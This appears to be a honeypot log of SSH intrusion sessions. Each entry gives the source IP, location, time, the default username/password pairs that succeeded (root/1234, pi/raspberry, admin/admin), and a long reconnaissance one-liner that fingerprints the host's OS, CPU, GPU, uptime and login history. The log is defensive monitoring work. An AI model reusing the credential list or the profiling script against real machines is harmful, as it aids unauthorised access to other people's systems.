"CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 lotus_root_15 (142.93.214.246) β€” Bengaluru, India Β· 5 sessions Β· 20 cmds
2026-03-03 09:34 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 spice_root_13 (206.189.131.68) β€” Bengaluru, India Β· 1 session Β· 4 cmds
2026-03-03 09:38 EST Β· as root/qwerty
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 scone_root_18 (144.126.227.246) β€” Slough, United Kingdom Β· 1 session Β· 1 cmd
2026-03-03 09:32 EST Β· as root/admin
hostname discovery
$ hostname
↳ hostname discovery
🎭 tiger_root_8 (64.227.183.80) β€” Bengaluru, India Β· 2 sessions Β· 8 cmds
2026-03-03 09:06 EST Β· as pi/raspberry, ubuntu/ubuntu
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 strudel_root_15 (134.209.251.51) β€” Frankfurt am Main, Germany Β· 6 sessions Β· 24 cmds
2026-03-03 08:57 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 reef_root_6 (170.64.160.35) β€” Sydney, Australia Β· 6 sessions Β· 24 cmds
2026-03-03 09:05 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 clog_root_4 (209.38.105.157) β€” Amsterdam, Netherlands Β· 3 sessions Β· 12 cmds
2026-03-03 09:00 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 bike_root_12 (68.183.6.140) β€” Amsterdam, Netherlands Β· 5 sessions Β· 20 cmds
2026-03-03 09:00 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 dutch_root_6 (167.172.38.77) β€” Amsterdam, Netherlands Β· 5 sessions Β· 20 cmds
2026-03-03 08:07 EST Β· as admin/admin, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 burger_root_13 (165.245.135.16) β€” Douglasville, United States Β· 1 session Β· 4 cmds
2026-03-03 08:29 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 crumpet_root_12 (209.97.142.126) β€” Slough, United Kingdom Β· 4 sessions Β· 16 cmds
2026-03-03 08:09 EST Β· as admin/admin123, root/1234, root/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 spice_root_14 (165.22.208.88) β€” Bengaluru, India Β· 3 sessions Β· 12 cmds
2026-03-03 08:06 EST Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 barbie_root_8 (170.64.133.77) β€” Sydney, Australia Β· 3 sessions Β· 12 cmds
2026-03-03 07:45 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 spice_root_15 (168.144.29.65) β€” Bengaluru, India Β· 4 sessions Β· 16 cmds
2026-03-03 07:43 EST Β· as root/admin, root/admin123, root/qwerty
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 tiger_root_9 (159.65.144.246) β€” Bengaluru, India Β· 1 session Β· 4 cmds
2026-03-03 07:46 EST Β· as root/qwerty
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 tulip_root_16 (209.38.43.129) β€” Amsterdam, Netherlands Β· 2 sessions Β· 8 cmds
2026-03-03 07:37 EST Β· as root/12345678, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 stein_root_11 (164.92.128.97) β€” Frankfurt am Main, Germany Β· 7 sessions Β· 28 cmds
2026-03-03 05:05 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 star_root_20 (147.182.203.36) β€” Santa Clara, United States Β· 6 sessions Β· 24 cmds
2026-03-03 05:15 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
